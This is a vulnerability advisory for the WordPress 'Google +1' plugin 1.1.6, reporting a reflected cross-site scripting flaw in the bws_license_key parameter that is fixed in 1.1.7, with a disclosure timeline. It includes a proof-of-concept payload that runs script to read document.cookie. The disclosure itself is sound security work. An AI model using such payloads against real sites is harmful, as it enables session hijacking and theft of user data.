Plugin Name : Google +1 Effected Version : 1.1.6 (and most probably lower version's if any) Vulnerability : A3-Cross-Site Scripting (XSS) Identified by : Madhu Akula Technical Details Minimum Level of Access Required : Administrator PoC - (Proof of Concept) : In the following field put the payload as below http://localhost/wp-admin/admin.php?page=google-plus-one.php&action=go_pro bws_license_key =?><img src=x onerror=prompt(document.cookie);> Vulnerable Parameter : bws_license_key Type of XSS : Reflected Fixed in : 1.1.7 http://wordpress.org/plugins/google-one/changelog/ Disclosure Timeline Vendor Contacted : 2014-08-04 Plugin Status : Updated on 2014-08-07 Public Disclosure : October 3, 2015 CVE Number : Not assigned yet Plugin Description : Google +1 allows you to see how many times your page has been liked on Google Search Engine as well as who has liked the article. It comes with the button which provides a count. Google +1 plugin is a perfect solution for the people interested in the promotion of their website.